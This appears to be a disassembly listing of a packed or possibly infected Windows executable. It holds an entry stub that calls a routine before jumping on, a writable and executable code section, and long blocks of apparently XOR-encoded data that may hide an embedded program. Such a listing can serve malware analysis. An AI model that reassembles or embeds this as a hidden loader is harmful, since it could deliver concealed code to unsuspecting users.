		dd 0E4A2CF0Bh, 0E501DFA2h, 5BA2E8A2h, 5FDD356Ah, 0FEA17E61h
		dd 0E00551D0h, 705EDA51h, 1DDA5FDAh, 7032DA6Ah,	0DE1CD8D3h
		dd 312FF9E0h, 0F808397Eh, 7A3EFD03h, 0
		dd 1400h dup(?)
_text		ends

; Section 3. (virtual address 0001A000)
; Virtual size			: 00020000 ( 131072.)
; Section size in file		: 00011C00 (  72704.)
; Offset to raw	data for section: 00003E00
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_data		segment	para public 'CODE' use32
		assume cs:_data
		;org 41A000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

; FUNCTION CHUNK AT 00402839 SIZE 000000AD BYTES

		pusha
		call	sub_43D76D
		popa
		jmp	loc_40283E
start		endp

; ---------------------------------------------------------------------------
		dd 0C88D1500h, 58585B58h, 58585C58h, 58A7A758h,	5858E058h
		dd 58585858h, 58581858h, 8 dup(58585858h), 5858D858h, 802F958h
		dd 806AC93Bh, 0A1B1F0AEh, 0D5182AD8h, 0F9B42136h, 0CA6E2A73h
		dd 6D2EEE3Fh, 0AB85B272h, 5116695Dh, 6D5397A8h,	0CDE1E891h
		dd 5A83CE92h, 4898A44Ah, 0F24DB446h, 964B9B78h,	37DA191Bh
		dd 5888D369h, 5E591458h, 26E9C758h, 58585818h, 58585858h
		dd 5658B858h, 5A595379h, 5880586Fh, 58645858h, 48DA5858h
		dd 5849CE58h, 58485858h, 58A85858h, 58585858h, 58485848h
		dd 585A5858h, 58585958h, 58585858h, 58585C58h, 58585858h
		dd 49B85858h, 585C5858h, 58585858h, 58585A58h, 48585858h
		dd 58485858h, 48585858h, 58485858h, 58585858h, 58584858h
		dd 49885858h, 58581458h, 49F85858h, 58599458h, 6 dup(58585858h)
		dd 49E85858h, 58435458h, 14h dup(58585858h), 3D2C7658h
		dd 58582C20h, 588EDC58h, 58485858h, 588EDC58h, 585C5858h
		dd 3 dup(58585858h), 58587858h,	2B3A7638h, 5858582Bh, 48D83058h
		dd 58A85858h, 5	dup(58585858h),	5858D858h, 393C7698h, 5858392Ch
		dd 5842E058h, 49D85858h, 5842E058h, 58845858h, 3 dup(58585858h)
		dd 58581858h, 3C317698h, 58392C39h, 58599458h, 49F85858h
		dd 58599458h, 58A05858h, 3 dup(58585858h), 58583858h, 3D2A7698h
		dd 583B3734h, 58434C58h, 49E85858h, 58434C58h, 58A45858h
		dd 3 dup(58585858h), 58587858h,	3C3D765Ah, 58392C39h, 58581458h
		dd 49885858h, 58581458h, 59405858h, 3 dup(58585858h), 58587858h
		dd 58585818h, 65h dup(58585858h), 5859E058h, 699B5858h
		dd 14D31898h, 19AF5C7Ch, 58585E5Ch, 0D3572C58h,	0D3507C1Ch
		dd 0D1487C0Ch, 585BE05Ah, 0B9B5858h, 1CD30F0Eh,	3208487Ch
		dd 485E30A6h, 0A73C4858h, 5858586Dh, 7DD13C58h,	58585858h
		dd 787C1CD3h, 0D35000D3h, 0A6DB5428h, 63782CA7h, 2C7C7C2Ch
		dd 2E6CD542h, 0D3EB54D3h, 0D3507C14h, 24DB5410h, 2D585CEBh
		dd 0EB0CA78Fh, 3C89B350h, 58585DD7h, 9CDB5858h,	3060754h
		dd 0BDD10D9Bh, 0D0F0E0Bh, 58325832h, 5848C030h,	502DA748h
		dd 588DD8B0h, 6070558h,	5B4D103h, 0D10DA49Bh, 50B4DBBDh
		dd 0D0F0E0Bh, 0D35405D3h, 18AF501Dh, 58585E5Ch,	0EFDD5758h
		dd 0D1585858h, 1DD3A01Dh, 0A41DD148h, 0D1A01DD5h, 2BD3A41Bh
		dd 5023D354h, 57A7A6DBh, 5858F0DCh, 2E54D558h, 5CD724DBh
		dd 0E252C58h, 4833D50Dh, 0D3B41DD3h, 0FB58D358h, 4849D86Ch
		dd 0D3B40DD3h, 0D860FB5Ah, 1AD34849h, 0D864FB5Ch, 0F0E4849h
		dd 584CE109h, 65D55858h, 4849D818h, 0D8606DD3h,	0FDAB4849h
		dd 0D81865D5h, 65D14849h, 4849D860h, 0A7060701h, 55CD70Ch
		dd 5405D306h, 702C9851h, 23D36C20h, 62B00B50h, 0DBA7A7A7h
		dd 33D55C9Ch, 0B00B0E48h, 0A7A7A68Bh, 0D5509CDBh, 5CD32E54h
		dd 541BD3D7h, 50D70CA7h, 0D55023D3h, 6CD32E54h,	0A73AB1D7h
		dd 9869A7A7h, 0D50D41B3h, 0A7324833h, 0A6FDB00Bh, 9CDBA7A7h
		dd 0B0533254h, 58588C8Dh, 55C9CDBh, 0D1030607h,	0D9B05B4h
		dd 0E0BBDD1h, 5425DB0Fh, 0B05D2D59h, 58585844h,	588BAFB0h
		dd 482DA758h, 0A7542DA7h, 58F9502Dh, 0A74849D8h, 3060788h
		dd 58549A91h, 0DBBDD10Dh, 320F54B4h, 0B0AE3258h, 58588C05h
		dd 32A01DD1h, 0B0AD3258h, 58588C09h, 32A41DD1h,	0B0AC3258h
		dd 58588C1Dh, 30AC1DD1h, 4849D846h, 0B0A02DA7h,	58588C71h
		dd 49D850FBh, 0D8443048h, 2DA74849h, 8C4FB0A4h,	5CFB5858h
		dd 304849D8h, 4849D844h, 0B0AC2DA7h, 58588C5Dh,	0FB689CDBh
		dd 4849D854h, 0D85C65D3h, 0A7514849h, 5832532Ch, 8C6BB00Fh
		dd 9CDB5858h, 5465D350h, 514849D8h, 32482CA7h, 46B00F58h
		dd 0DB58588Ch, 5EB0509Ch, 7585858h, 0C8C89B91h,	0BDD10DC8h
		dd 0B4CB4DBh, 1D9F0F0Eh, 585858ACh, 8BC3B058h, 9BD15858h
		dd 0B3A805D1h, 6563D844h, 1DA75B2Ch, 6987D1ACh,	9141A198h
		dd 81AFF6AAh, 0D1A619D5h, 44D51F9Fh, 5863D863h,	25D3872Dh
		dd 64D51FACh, 585858E5h, 0B425D158h, 0B0B42DA7h, 58588BFDh
		dd 0A01DD101h, 49D848FBh, 0A025DB48h, 695C2D58h, 0D305B398h
		dd 1DB3A805h, 986987D1h, 0AA9141A1h, 0D581AFF6h, 9FD1A619h
		dd 0A425D11Fh, 2C6563D8h, 0A42DA77Eh, 588B34B0h, 2DD30158h
		dd 515ED1A0h, 0B35A2D98h, 25D30B73h, 0B06FA7A0h, 58588B21h
		dd 0DB509CDBh, 0D35CA01Dh, 44D5A40Dh, 5863D84Bh, 0DD3EE2Dh
		dd 585A9FA0h, 0E0585858h, 58585859h, 91030607h,	0BDD10D9Bh
		dd 5B7CB4D9h, 0E0B5858h, 5425DB0Fh, 74DC5758h, 0D3585849h
		dd 58D2501Dh, 502C6C64h, 0DD576D64h, 58584943h,	0D1501DD3h
		dd 0A790DB99h, 5964D818h, 0D1A12D58h, 0A7A680DDh, 344DD3A7h
		dd 0DB4849D9h, 4D5B5C9Ah, 4849D92Ch, 492C8861h,	0D8FC4DD3h
		dd 9ADB4849h, 57886154h, 5848BADDh, 45E75758h, 4849D8CCh
		dd 0B35AB3DBh, 5868E07Ch, 0BBAF5858h, 0A5F8DDD1h, 1DD3A7A7h
		dd 0F8CDD354h, 61A7A7A5h, 6D084D5Ch, 0DC574851h, 585848EBh
		dd 0D8C8F91Bh, 98DB4849h, 0C45D5B04h, 614849D9h, 0F9922A9Bh
		dd 4849D9A4h, 614B98DBh, 0A7A680DDh, 98DD57A7h,	0D3585859h
		dd 18D2501Dh, 2C756456h, 57786450h, 584822DDh, 501DD358h
		dd 645118D2h, 64502C75h, 30DD5778h, 0D3585848h,	18D2501Dh
		dd 2C75645Ch, 57786450h, 58480EDDh, 0D918F958h,	98DB4849h
		dd 4DE75754h, 4849DA50h, 0DD38859h, 490AD250h, 595DCCD0h
		dd 57A7A7A7h, 0D91C5DE7h, 0DD34849h, 500AD250h,	5C5DCCD0h
		dd 0F9A7A7A7h, 4849D9D8h, 0D2500DD3h, 0CCD0520Ah, 0A7A7515Dh
		dd 0D984F9A7h, 98DB4849h, 4DE7575Fh, 4849D89Ch,	0DD38859h
		dd 480AD250h, 595DCCD0h, 0F9A7A7A7h, 4849D944h,	0D9285D5Bh
		dd 0DD34849h, 5F0AD250h, 595DCCD0h, 0F9A7A7A7h,	4849D978h
		dd 0D2500DD3h, 0CCD0570Ah, 0A7A75D5Dh, 5DE757A7h, 4849D8F0h
		dd 0D2500DD3h, 0CCD0540Ah, 0A7A7535Dh, 5DE757A7h, 4849D964h
		dd 404DE757h, 594849DAh, 500DD388h, 0D05E0AD2h,	0A6A55DCCh
		dd 0B8F9A7A7h, 574849D8h, 0D8EC4DE7h, 88594849h, 0D2500DD3h
		dd 5DCCD04Ah, 0A7A7A6AEh, 49D9ECF9h, 4DE75748h,	4849D970h
		dd 0D05DB2DBh, 0A7555DCCh, 0F4F9A7A7h, 5B4849D9h, 49D8905Dh
		dd 500DD348h, 0D05B0AD2h, 0A7595DCCh, 0C8F9A7A7h, 0DB4849D8h
		dd 0E7575C98h, 49D9C04Dh, 0D3885948h, 0AD2500Dh, 5DCCD053h
		dd 0A7A7A759h, 49D9E4F9h, 500DD348h, 0D04A0AD2h, 0A7525DCCh
		dd 54F9A7A7h, 0D34849DAh, 0AD2500Dh, 5DCCD05Dh,	0A7A7A759h
		dd 49D9F4F9h, 4DE75748h, 4849DA48h, 0DD38859h, 5A0AD250h
		dd 0A45DCCD0h, 57A7A7A6h, 0D91C5DE7h, 0DD34849h, 550AD250h
		dd 505DCCD0h, 0F9A7A7A7h, 4849D9B4h, 0D2500DD3h, 0CCD0590Ah
		dd 0A7A6A75Dh, 0A757B3A7h, 0DDD5502Dh, 0A7A7A759h, 8873B008h
		dd 6DD35858h, 4849D9D4h, 0D24DB316h, 0A7596DDCh, 6864A7A7h
		dd 61645C24h, 0F8B15D26h, 1E585856h, 49D90CF9h,	5B98DB48h
		dd 704DE757h, 594849D9h, 2A9E6188h, 0D8F4F98Eh,	0B0DB4849h
		dd 0A0DDD15Fh, 0D3A7A7A6h, 49D9A46Dh, 571EB348h, 596DDCE6h
		dd 0DBA7A7A7h, 4DD368B0h, 4849D890h, 9AF7571Ah,	0A6A0DD59h
		dd 0E4D8A7A7h, 0A7A7596Dh, 56266CA7h, 49D938F9h, 5A98DB48h
		dd 0A6A0DD71h, 28F9A7A7h, 574849D9h, 0D89C4DE7h, 88594849h
		dd 5950B0DBh, 0D8E4F99Eh, 98DB4849h, 2A9E6148h
		dd 0DA78F9F6h, 9BD14849h, 0D90C455Bh, 0B3DB4849h, 5743B351h
		dd 5945DCE6h, 0DBA7A7A7h, 0DD5968B0h, 0A7A7A6A0h, 945DE757h
		dd 184849D8h, 0E7579B59h, 49D9C05Dh, 704DD348h,	0D54849DAh
		dd 615F481Ch, 0D3882A9Bh, 0A7A6A0DDh, 5852E1A7h, 8A695858h
		dd 65D3A9AFh, 4849DA60h, 0AC45E757h, 594849D8h,	5AB7DB87h
		dd 0DD57A261h, 585855EFh, 0A759DDD5h, 0A708A7A7h, 49022C4Dh
		dd 98510148h, 55F9DD57h, 6DD35858h, 4849D9B8h, 0D35CB6DBh
		dd 49DA606Dh, 0E073B348h, 58585868h, 0DDD1BEAFh, 0A7A7A5C4h
		dd 49D918F9h, 85D5B48h,	0DB4849D9h, 0CDD35DB0h,	0A7A7A5C4h
		dd 84D5C61h, 2C48516Dh,	0E7571E57h, 49D9FC5Dh, 698DB48h
		dd 9F2A9E61h, 605DE757h, 0D34849D9h, 49DA744Dh,	481CD548h
		dd 579E6102h, 585566DCh, 5868E058h, 0BEAF5858h,	0A5C0DDD1h
		dd 1DD3A7A7h, 0C0CDD354h, 0D1A7A7A5h, 6D084D5Ch, 0E9304851h
		dd 0B04849C1h, 58587BF0h, 0F465D301h, 574849D8h, 0D99C45E7h
		dd 87594849h, 0F57B7DBh, 65E75708h, 4849DA48h, 0F5DB7DBh
		dd 0A7542DA7h, 5501684Dh, 94DDD148h, 0D3A7A7A6h, 49D9A055h
		dd 5BB1DB48h, 512D9061h, 0D1541DD3h, 0A7A694DDh, 0C1FC30A7h
		dd 1B04849h, 858587Bh, 0A694EDA7h, 97B0A7A7h, 0D15858EAh
		dd 0A7A68CDDh, 0C1C030A7h, 65B04849h, 858587Bh,	0A68CEDA7h
		dd 0EBB0A7A7h, 0D15858EAh, 5868E09Fh, 0BEAF5858h, 0A5CCDDD1h
		dd 9BD1A7A7h, 0C4564D1h, 3248516Dh, 5868E058h, 0BEAF5858h
		dd 0A5C8DDD1h, 6CA7A7A7h, 516D0C5Dh, 4DA748h, 0F9484901h
		dd 4849D988h, 85FB0DBh,	7DC04DA7h, 0DDD14859h, 0A7A7A6ACh
		dd 0A6BCDDD5h, 0A708A7A7h, 0A7A68CEDh, 84DA7A7h, 30484901h
		dd 4849C1D6h, 587A93B0h, 449CDB58h, 0D99865D3h,	0F174849h
		dd 0A6ACEDA7h, 0E757A7A7h, 49D9CC65h, 45E75748h, 4849D9A8h
		dd 0B7DB8759h, 0EDA70F5Fh, 0A7A7A68Ch, 0A6A8E5D3h, 0E573A7A7h
		dd 0A7A7A6B0h, 0B4E5D30Fh, 73A7A7A6h, 0A7A6BCE5h, 0E7570FA7h
		dd 49D96465h, 51B7DB48h, 5465D30Fh, 0DB4849D9h,	300F5AB7h
		dd 8D85858h, 0A759E5D5h, 80FA7A7h, 585A5830h, 644DA758h
		dd 0D1485111h, 5868E09Fh, 0BEAF5858h, 0A5D4DDD1h, 9BD1A7A7h
		dd 4564D1h, 0D348516Dh,	0A7A6B4DDh, 0BCDD73A7h,	0D3A7A7A6h
		dd 49D9B84Dh, 719ADB48h, 0DDD18871h, 0A7A7A6B8h, 0A6A8E5D3h
		dd 0E573A7A7h, 0A7A7A6B0h, 0D98C45D3h, 9BD94849h, 585858AAh
		dd 45D38771h, 4849DA5Ch, 0D1629BDBh, 698071A0h,	5798DD8Ah
		dd 88599AC4h, 0DDD1A089h, 0A7A7A684h, 0DA6C4DD3h, 4D5B4849h
		dd 4849D9DCh, 6154B2DBh, 574E2588h, 0D8A05DE7h,	5D5B4849h
		dd 4849DA60h, 0D15CB0DBh, 0A7A684DDh, 0C1DC30A7h, 0E1B04849h
		dd 0D1585879h, 0A7A5D0DDh, 0C1D830A7h, 0F1B04849h, 0D1585879h
		dd 0A7A5DCDDh, 7865D3A7h, 5B4849DAh, 49D91865h,	5BB7DB48h
		dd 0ACEDA70Fh, 0D3A7A7A6h, 49D89065h, 0E00F1748h, 58585868h
		dd 0DDD1BEAFh, 0A7A7A5D8h, 6CA79FD1h, 516D0065h, 65E75748h
		dd 4849D960h, 58AF9FD9h, 0A70F5858h, 0A7A6B8EDh, 84E5D3A7h
		dd 0D3A7A7A6h, 49D9D045h, 6E9BDB48h, 104DE757h,	594849D9h
		dd 5787598Bh, 0D8A445E7h, 59134849h, 65D30F87h,	4849D90Ch
		dd 5B5D9FDBh, 49D8F465h, 51300F48h, 0D308D858h,	0A7A5DCE5h
		dd 0E5D30FA7h, 0A7A7A5D0h, 65E7570Fh, 4849D8A0h, 0F5DB7DBh
		dd 11644DA7h, 0DDD14851h, 0A7A7A690h, 49C12E30h, 78AAB048h
		dd 0DDD15858h, 0A7A7A524h, 49C10530h, 78BAB048h, 0DDD15858h
		dd 0A7A7A520h, 0D97C65D3h, 0E7574849h, 49D8A445h, 0DB875948h
		dd 0A70F5CB7h, 0A7A6ACEDh, 65E757A7h, 4849D910h, 9445E757h
		dd 594849D9h, 52B7DB87h, 5868E00Fh, 0BEAF5858h,	0A52CDDD1h
		dd 9FD1A7A7h, 656CA7h, 0D348516Dh, 49D9F465h, 699FDB48h
		dd 0DA14655Bh, 0A70F4849h, 0A7A6B8EDh, 84EDA7A7h, 57A7A7A6h
		dd 0D95C65E7h, 45D34849h, 4849DA44h, 484724D5h,	5858300Fh
		dd 0E5D308D8h, 0A7A7A520h, 24E5D30Fh, 0FA7A7A5h, 0DA4C65D3h
		dd 0B7DB4849h, 4DA70F5Bh, 48511164h, 0A69CDDD1h, 0B0F9A7A7h
		dd 104849D8h, 325A3208h, 32583258h, 5759325Dh, 0D9C05DE7h
		dd 4DD34849h, 4849DA70h, 0B2DB9A59h, 4DD30A51h,	4849D924h
		dd 0DA5C4D5Bh, 0B2DB4849h, 4DD30A51h, 4849D9C4h, 0A5CB2DBh
		dd 585AE430h, 0F84DD358h, 5B4849D8h, 49D92C4Dh,	52B2DB48h
		dd 0E46DA70Ah, 5B4849D8h, 49D90C5Dh, 0F9081048h, 4849D9BCh
		dd 84898DBh, 6A784DA7h,	0DDD14851h, 0A7A7A698h,	32085932h
		dd 9CEDA768h, 0A7A7A7A6h, 58A8404Dh, 0C10B3048h, 0E9B04849h
		dd 0D1585847h, 0A7A528DDh, 0C11630A7h, 0F9B04849h, 0DB585847h
		dd 65D3409Ch, 4849D968h, 0EDA70F17h, 0A7A7A6ACh, 0D96C65D3h
		dd 0B7DB4849h, 0EDA70F5Ah, 0A7A7A690h, 0D8F865D3h, 9FD94849h
		dd 585858AAh, 4845E757h, 594849DAh, 0C045D387h,	5B4849D8h
		dd 49DA1045h, 51B3DB48h, 0D30F8771h, 0A7A6B8E5h, 0C45D3A7h
		dd 5B4849D9h, 49DA4C45h, 5FB3DB48h, 570F8771h, 0D91065E7h
		dd 655B4849h, 4849D9BCh, 0F5CB7DBh, 0D95065D3h,	0B7DB4849h
		dd 58300F5Fh, 8085858h,	0A528E5D3h, 0D30FA7A7h,	49DA6C65h
		dd 28655B48h, 0DB4849D9h, 0A70F54B7h, 5111644Dh, 0E09FD148h
		dd 58585868h, 0DDD1BEAFh, 0A7A7A534h, 64D19BD1h, 516D0445h
		dd 0DA54F948h, 5D5B4849h, 4849D92Ch, 0AE5DE4D8h, 6CA7A7A6h
		dd 1E30422Dh, 0B04849C1h, 58584694h, 0E5D50801h, 0A7A7A6F4h
		dd 91C3B00Fh, 40B35858h, 49C16030h, 46EAB048h, 8015858h
		dd 0A6F4E5D5h, 0B00FA7A7h, 585891D9h, 49C09E30h, 46C2B048h
		dd 0E5D55858h, 0A7A7A759h, 0F4E5D50Fh, 0FA7A7A6h, 0F5E5D508h
		dd 0FA7A7A5h, 1704DA7h,	0E4304855h, 0B04849C0h,	5858462Ch
		dd 0A530DDD1h, 65D3A7A7h, 4849D930h, 0D9B8655Bh, 0B7DB4849h
		dd 0EDA70F5Eh, 0A7A7A6ACh, 0DA606DA7h, 68E04849h, 0AF585858h
		dd 3CDDD1BEh, 0D1A7A7A5h, 656CA79Fh, 48516D04h,	0D98C65D3h
		dd 9FDB4849h, 0EDA70F70h, 0A7A7A6B8h, 0FC65E757h, 0DB4849D9h
		dd 0D30F5C9Fh, 49D8B465h, 45E75748h, 4849D964h,	300F8759h
		dd 8585858h, 0A5F5E5D5h, 0D30FA7A7h, 0A7A530E5h, 0E7570FA7h
		dd 49D8A065h, 58655B48h, 0DB4849DAh, 0A70F52B7h, 5111644Dh
		dd 0F0DDD148h, 57A7A7A5h, 0D99C5DE7h, 5D5B4849h, 4849D8FCh
		dd 857B0DBh, 58325A32h,	5D325832h, 5CF95932h, 5B4849DAh
		dd 49D9185Dh, 5BB0DB48h, 5DE75708h, 4849D910h, 0D9485D5Bh
		dd 0B0DB4849h, 0F90852h, 0DB4849D9h, 30085BB0h,	585859C8h
		dd 3C5DE757h, 104849D9h, 0DA6CF908h, 5D5B4849h,	4849D978h
		dd 848B0DBh, 0A05DE757h, 574849D8h, 0D8944DE7h,	88594849h
		dd 0D8B8F908h, 98DB4849h, 4DA70852h, 48516A78h,	0A688DDD1h
		dd 5932A7A7h, 0A7683208h, 0A7A5F0EDh, 404DA7A7h, 304858A8h
		dd 4849C0E8h, 584567B0h, 38DDD158h, 30A7A7A5h, 4849C0F4h
		dd 584577B0h, 4DDD158h,	0D3A7A7A5h, 49D8C865h, 5CB7DB48h
		dd 0ACEDA70Fh, 57A7A7A6h, 0DA1865E7h, 0E7574849h, 49D9B045h
		dd 0DB875948h, 0E00F57B7h, 58585868h, 0DDD1BEAFh, 0A7A7A500h
		dd 6CA79FD1h, 516D0465h, 7865D348h, 0D94849D9h,	58597C9Fh
		dd 0E7570F58h, 49D99465h, 0E445D348h, 0D54849D9h, 0F754724h
		dd 0D95465D3h, 9FDB4849h, 65D30F11h, 4849D900h,	0F1B9FDBh
		dd 0D8585B30h, 4E5D308h
		dd 0FA7A7A5h, 0A538E5D3h, 0D30FA7A7h, 49D9B865h, 5CB7DB48h
		dd 644DA70Fh, 0D1485111h, 5868E09Fh, 0BEAF5858h, 0A50CDDD1h
		dd 9BD1A7A7h, 3C4564D1h, 3048516Dh, 4849C0F8h, 58442FB0h
		dd 8DDD158h, 30A7A7A5h,	4849C0C4h, 58443FB0h, 709CDB58h
		dd 0A514DDD1h, 65D3A7A7h, 4849D998h, 4045E757h,	594849D9h
		dd 51B7DB87h, 0ACEDA70Fh, 0D3A7A7A6h, 49D93865h, 5FB7DB48h
		dd 5868E00Fh, 0BEAF5858h, 0A510DDD1h, 9FD1A7A7h, 4656CA7h
		dd 0D348516Dh, 49D90C65h, 459FD948h, 5B585859h,	49D9E865h
		dd 65D30F48h, 4849DA58h, 5B7E9FDBh, 49DA7465h, 65D30F48h
		dd 4849D8C0h, 5B629FDBh, 49D97865h, 0E7570F48h,	49D9CC65h
		dd 45E75748h, 4849D9FCh, 5B4724D5h, 585B300Fh, 0E5D308D8h
		dd 0A7A7A514h, 8E5D30Fh, 0FA7A7A5h, 0D8F465D3h,	0B7DB4849h
		dd 4DA70F5Fh, 48511164h, 68E09FD1h, 0AF585858h,	1CDDD1BEh
		dd 0D1A7A7A5h, 4564D19Bh, 48516D38h, 49D9D8F9h,	4DE75748h
		dd 4849D8A4h, 3E108859h, 0A6A6DDD1h, 9CB1A7A7h,	30585858h
		dd 4849C0CCh, 584327B0h, 0E5EF5758h, 0A7A7A6A6h, 0E5D5080Fh
		dd 0A7A7A562h, 704DA70Fh, 0D5485501h, 0A7A562DDh, 24F908A7h
		dd 5B4849D9h, 49D9445Dh, 51B0DB48h, 591B3008h, 68E05858h
		dd 0AF585858h, 6CDDD1BEh, 0A7A7A7A5h, 6D385D6Ch, 4DA74851h
		dd 4858A840h, 49C0D230h, 4372B048h, 0EF575858h,	0A7A6A6E5h
		dd 0C445D3A7h, 0DB4849D9h, 87595B9Bh, 0E5D5080Fh, 0A7A7A562h
		dd 704DA70Fh, 0DB485501h, 0DDD5789Ch, 0A7A7A562h, 5DE75708h
		dd 4849DA50h, 484DE757h, 594849DAh, 5EB0DB88h, 591B3008h
		dd 68E05858h, 0AF585858h, 68DDD1BEh, 0A7A7A7A5h, 6D3C5D6Ch
		dd 4DA74851h, 4858A840h, 0A6DDA73Eh, 57A7A7A6h,	0A6A6DDEFh
		dd 0E757A7A7h, 49D9F04Dh, 559ADB48h, 0D4578861h, 0A7A7A77Bh
		dd 49C0DA30h, 42FAB048h, 0DDD15858h, 0A7A7A518h, 49C02630h
		dd 42CAB048h, 0DDD15858h, 0A7A7A564h, 0DA5865D3h, 655B4849h
		dd 4849DA14h, 0F56B7DBh, 0A6ACEDA7h, 65D3A7A7h,	4849D88Ch
		dd 0DA4C655Bh, 0B7DB4849h, 68E00F50h, 0AF585858h, 60DDD1BEh
		dd 0D1A7A7A5h, 656CA79Fh, 48516D04h, 0D8FC65D3h, 9FDB4849h
		dd 65D30F49h, 4849D880h, 5B129FDBh, 49D8E865h, 65D30F48h
		dd 4849DA78h, 0F229FDBh, 0A065E757h, 0D34849D8h, 49D92C45h
		dd 4724D548h, 58300F7Bh, 0D308D858h, 0A7A564E5h, 0E5D30FA7h
		dd 0A7A7A518h, 5A58300Fh, 4DA75858h, 48511164h,	68E09FD1h
		dd 0AF585858h, 6CDDD1BEh, 0D1A7A7A5h, 4564D19Bh, 48516D30h
		dd 945DE757h, 104849D8h, 30003208h, 58585894h, 585868E0h
		dd 0D1BEAF58h, 0A7A568DDh, 5D6CA7A7h, 48516D30h, 0A8404DA7h
		dd 2C304858h, 0B04849C0h, 585841E8h, 0A574DDD1h, 0A30A7A7h
		dd 0B04849C0h, 585841F8h, 0A570DDD1h, 65D3A7A7h, 4849D930h
		dd 0F5AB7DBh, 0A6ACEDA7h, 65D3A7A7h, 4849D984h,	0D88C655Bh
		dd 0B7DB4849h, 68E00F5Dh, 0AF585858h, 7CDDD1BEh, 0D1A7A7A5h
		dd 656CA79Fh, 48516D04h, 0D95465D3h, 9FDB4849h,	68655B65h
		dd 0F4849DAh, 0A6B8EDA7h, 0E757A7A7h, 49D8A065h, 7C45D348h
		dd 0D54849DAh, 0F114724h, 0D99865D3h, 9FD94849h, 585858CBh
		dd 0D97C655Bh, 300F4849h, 8585858h, 0A570E5D3h,	0D30FA7A7h
		dd 0A7A574E5h, 65D30FA7h, 4849D880h, 0F5EB7DBh,	11644DA7h
		dd 0DDD14851h, 0A7A7A5FCh, 0EDA75932h, 0A7A7A688h, 0A7086832h
		dd 58A8404Dh, 0C0103048h, 0BDB04849h, 0D1585840h, 0A7A578DDh
		dd 0C07630A7h, 8DB04849h, 0DB585840h, 0DDD1409Ch, 0A7A7A544h
		dd 0D95865D3h, 0B7DB4849h, 0EDA70F51h, 0A7A7A6ACh, 0D96865D3h
		dd 655B4849h, 4849D9ACh, 0F52B7DBh, 585868E0h, 0D1BEAF58h
		dd 0A7A540DDh, 0A79FD1A7h, 6D04656Ch, 65D34851h, 4849D88Ch
		dd 0F4A9FDBh, 0DA6865D3h, 0A3D14849h, 58C29BD9h, 0D30B5858h
		dd 49D90C45h, 0A99BD948h, 59585858h, 65E757A3h,	4849D9C8h
		dd 0D9F84DD3h, 24D54849h, 0A3714B4Fh, 65E7570Bh, 4849D960h
		dd 0F5F9FDBh, 0D8585830h, 44E5D308h, 0FA7A7A5h,	0A578E5D3h
		dd 0D30FA7A7h, 49DA4C65h, 8C655B48h, 0DB4849D9h, 0A70F53B7h
		dd 5111644Dh, 0E09FD148h, 58585868h, 0DDD1BEAFh, 0A7A7A54Ch
		dd 64D19BD1h, 516D3445h, 0A7593248h, 0A7A688EDh, 5868E0A7h
		dd 68325858h, 0DDD1BEAFh, 0A7A7A548h, 345D6CA7h, 0A748516Dh
		dd 58A8404Dh, 0E0A43248h, 58585868h, 0DDD1BEAFh, 0A7A7A554h
		dd 0A550DDD1h, 6CA7A7A7h, 516D045Dh, 4C4DA748h,	0D3485101h
		dd 0A7A550E5h, 655CD1A7h, 48516D24h, 58D54230h,	0E0A43248h
		dd 58585868h, 0DDD1BEAFh, 0A7A7A55Ch, 45D6CA7h,	0A748516Dh
		dd 597DF44Dh, 0E0A43248h, 58585868h, 0DDD1BEAFh, 0A7A7A558h
		dd 0A4A4DDD1h, 6CA7A7A7h, 516D305Dh, 4C4DA748h,	0D3485101h
		dd 0A7A4A4E5h, 655CD1A7h, 48516D20h, 58D54230h,	0E0A43248h
		dd 58585868h, 0DDD1BEAFh, 0A7A7A4A0h, 305D6CA7h, 0A748516Dh
		dd 597DF44Dh, 0E0A43248h, 58585868h, 0DDD1BEAFh, 0A7A7A4ACh
		dd 0A4A8DDD1h, 6CA7A7A7h, 516D3C5Dh, 4C4DA748h,	0D3485101h
		dd 0A7A4A8E5h, 655CD1A7h, 48516D2Ch, 58D54230h,	0E0A43248h
		dd 58585868h, 0DDD1BEAFh, 0A7A7A4B4h, 3C5D6CA7h, 0A748516Dh
		dd 597DF44Dh, 0E0A43248h, 58585868h, 0DDD1BEAFh, 0A7A7A4B0h
		dd 0A4BCDDD1h, 6CA7A7A7h, 516D385Dh, 4C4DA748h,	0D3485101h
		dd 0A7A4BCE5h, 655CD1A7h, 48516D28h, 58D54230h,	0E0A43248h
		dd 58585868h, 0DDD1BEAFh, 0A7A7A4B8h, 385D6CA7h, 0A748516Dh
		dd 597DF44Dh, 5868E048h, 0BEAF5858h, 0A484DDD1h, 6CA7A7A7h
		dd 516D385Dh, 0A44DA748h, 7485D71h, 9B910306h, 9BDD10Dh
		dd 0D30F0E0Bh, 6DD35005h, 4849D978h, 5750B6DBh,	0D9C065E7h
		dd 0B3174849h, 4CEF5708h, 5415D323h, 2154EF57h,	0AA719271h
		dd 57A40DD1h, 0D8885DE7h, 0B0DB4849h, 259A615Eh, 0D974F947h
		dd 0A05D4849h, 595858A7h, 0CF9A41Dh, 0D14849D9h, 546D5B9Eh
		dd 0DB4849D9h, 51B351B6h, 0D8E06DD3h, 0B6DB4849h, 0A40DD35Ch
		dd 234CD13Eh, 0DA78F91Fh, 98DB4849h, 2A9F6146h,	30607FCh
		dd 0D10D9B91h, 25D30FBDh, 401DD354h, 401DD13Eh,	49D968F9h
		dd 58A15D48h, 9F615858h, 2DA7552Dh, 0CC39B044h,	69015858h
		dd 0F978B398h, 4849D914h, 5859595Dh, 2D9F6158h,	442DA755h
		dd 580CABB0h, 98690158h, 5BE05DB3h, 7D85A58h, 587C9A05h
		dd 581859E0h, 58489AD8h, 30BDD10Dh, 48493764h, 71A04DA7h
		dd 64F9485Dh, 5484937h,	0D585C9Ah, 0E0BBDD1h, 542DD30Fh
		dd 304825D3h, 4849C2C0h, 644DA70Eh, 51485501h, 0D3482C98h
		dd 5FD1501Dh, 40D36FA7h, 695C0BA7h, 3017B398h, 4849C240h
		dd 644DA70Eh, 51485501h, 0D3482C98h, 5FD1501Dh,	40D36FA7h
		dd 695C0BA7h, 3077B398h, 4849C1B0h, 644DA70Eh, 51485501h
		dd 0D3482C98h, 5FD1501Dh, 40D36FA7h, 695C0BA7h,	0F957B398h
		dd 4849D9ECh, 0D15CB0DBh, 185AE05Fh, 607D858h, 549A0503h
